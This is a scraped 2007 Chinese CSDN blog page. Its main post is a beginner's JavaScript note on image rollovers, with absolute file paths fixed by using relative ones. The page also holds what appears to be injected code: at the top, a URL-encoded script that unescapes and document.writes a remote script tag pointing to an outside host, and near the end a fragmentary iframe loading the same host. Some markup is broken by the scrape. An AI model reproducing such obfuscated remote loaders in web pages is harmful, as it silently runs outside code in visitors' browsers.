javascrip

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
javascrip

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
"javascript:return WebForm_OnSubmit();" id="Form1">







//












帐前卒 专栏

鱼与熊掌不可兼得——即使能喝完鱼汤啃熊掌,也要先吃完鱼刺再说。博学才能多识,专注才能成功!If you don't see the bug where you're looking, perhaps you're looking in the wrong place.Logic is the art of going wrong with confidence
cctt_1



Include("Csdn.Blog.UserOnline");

Include("Csdn.Blog.ShowmeDataDeal");




CSDN首页
   
BLOG首页
   
我的首页
   
我的文章
   
联系作者
   
聚合
   
   
搜索
   
登录






转贴 - 25, 点击 - 35255, 评论 - 65





欢迎访问我的Blog!
作者联系QQ:349795935;
Email:chillyCreator@gmail.com
欢迎大家来我建的圈子---校园团队!




<
September 2007
>








26
27
28
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1
2
3
4
5
6




文章

asp.net使用点滴
(RSS)
bug
(RSS)
c/c++
(RSS)
hacker
(RSS)
java
(RSS)
javaScript
(RSS)
TCP/IP
(RSS)
编译原理思想
(RSS)
操作系统
(RSS)
电影感悟
(RSS)
软件院刊编辑部
(RSS)
生活所闻
(RSS)
诗词歌赋
(RSS)
数据结构
(RSS)
数据库学习
(RSS)
项目总结
(RSS)
信息安全
(RSS)
收藏

珍藏
相册

.......
blog

ATC interns
java之父--James Gosling
(RSS)
中华兄
(RSS)
傻傻飞鹏
周赋学长
(RSS)
天下
孔艳艳的blog
小四学弟
小小刚
小李子的废话
尚可尚可
张惠的blog...
新生代微软员工
曼霞的blog
(RSS)
李惠子的博客.....
梁景波波
(RSS)
水天一色
(RSS)
瓜瓜学妹
老姐
虹竹rainboo
蚂蚁爬过窗
阳扬
(RSS)
编程专家

侯捷
兰子测试
(RSS)
呆呆虫的家
存档

2007年09月(4)
2007年08月(17)
2007年07月(24)
2007年06月(24)
2007年05月(14)
2007年04月(14)
2007年03月(12)
2007年02月(7)
2007年01月(8)
2006年12月(6)
2006年11月(3)
2006年10月(3)
2006年09月(9)
2006年08月(7)
2006年07月(21)
2006年04月(2)












上一篇: javascript---第三天源代码
 | 
下一篇: java手记---String类


function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 javascript---第3天



Q:
var rolledImage = new Image;
rolledImage.src = "C:/Documents and Settings/Administrator/My Documents/壁纸/winxpaa12.jpg";
var thirdImage = new Image;
thirdImage.src = "C:/Documents and Settings/Administrator/My Documents/壁纸/winxpaa10.jpg";
<img src = "C:/Documents and Settings/Administrator/My Documents/壁纸/winxpaa13.jpg"
name = "myPicture" onMouseOver = "document.myPicture.src = rolledImage.src"
onMouseOut = "document.myPicture.src = thirdImage.src" width = 100 height = 100 border = 0><br><br>
似乎不能这样写.虽然不知道那里错了.只能显示winxpaa13.jpg其他的图片都不能显示.
把<img>改为<a href = "#">也不行..不知道出了什么问题...
A:
解决方案:
使用相对路径.把源html和各种图片放在一起即可..
这个问题困扰我很长时间,在网上查没有找到,问了些人也没有人知道..最后还是用相对路径试了一下.竟然解决了
不过我还是不知道怎么用绝对路径.可能是我绝对路径设错了吧.不过我后面又加了
file:///
也不管用..
不过我的这个路径对于静态的html来说是可以显示图片的.如这句:
<img src = "C:/Documents and Settings/Administrator/My Documents/壁纸/winxpaa12.jpg">
不知道为什么...
<img src = "C:/Documents and Settings/Administrator/My Documents/壁纸/winxpaa13.jpg">
这里的<img要写在一起,否则只是打印字符串...
var imageChoice = Math.floor(Math.random()*imageList.length);
Math.random()产生[0,1)的随机数,Math.floor();用于取正(除掉小数点后面的部分)
 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值